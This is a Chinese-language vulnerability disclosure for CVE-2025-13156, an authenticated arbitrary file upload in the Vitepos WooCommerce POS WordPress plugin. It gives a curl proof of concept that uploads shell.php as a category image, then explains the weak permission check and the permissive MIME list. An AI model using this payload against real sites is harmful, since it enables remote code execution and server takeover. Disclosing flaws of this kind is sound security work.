CVE-2025-13156 披露
此仓库披露了在 Vitepos – WooCommerce 的销售点 (POS) 插件 <= 3.3.0 中发现的一个漏洞,该插件由 appsbd 开发。
| CVE ID | 类型 | 组件 | 影响 |
|---|---|---|---|
| CVE-2025-13156 | 已认证(订阅者及以上)任意文件上传导致远程代码执行 | modules/class-pos-settings.php api/v1/class-pos-product-api.php | 在受影响站点服务器上上传任意文件 |
curl -k \
'http://localhost:8080/wp-json/vitepos/v1/product/add-category' \
-H 'Cookie: wordpress_logged_in_<your_hash>=<your_cookie>' \
-H 'X-WP-Nonce: <your_nonce>' \
-F 'category_name=evil' \
-F 'category_parent=0' \
-F 'category_description=PoC-shell' \
-F 'category_image=@./shell.php;filename="shell.php";type=application/octet-stream'
该插件在 /wp-json/vitepos/v1/product/... 下的 REST 路由依赖于一个宽松的权限检查,它实际上接受任何登录用户(is_user_logged_in()),而不检查调用者是否为 POS 用户或是否具有管理产品术语的权限。因此,低权限角色(例如订阅者)可以访问 add-category/update-category 等端点。
由于无法直接放置在 WebRoot 下,因此根据环境可能不会成功。uploads 目录下默认不允许 PHP 执行,所以除非环境非常特殊,否则很难成功。
看到 MIME 允许列表中出现 application/octet-stream 时就有不好的预感,结果竟然真的成功了,令人惊讶。
原本 WordPress 核心部分会阻止 PHP 上传,但由于此插件实现了自定义处理,才得以复现此漏洞。这可是相当罕见的案例。
姓名: MooseLove
角色: 独立安全研究员 / 漏洞猎人
联系方式: 可根据要求提供
本公告仅供公共安全意识宣传。可自由分享,请注明出处。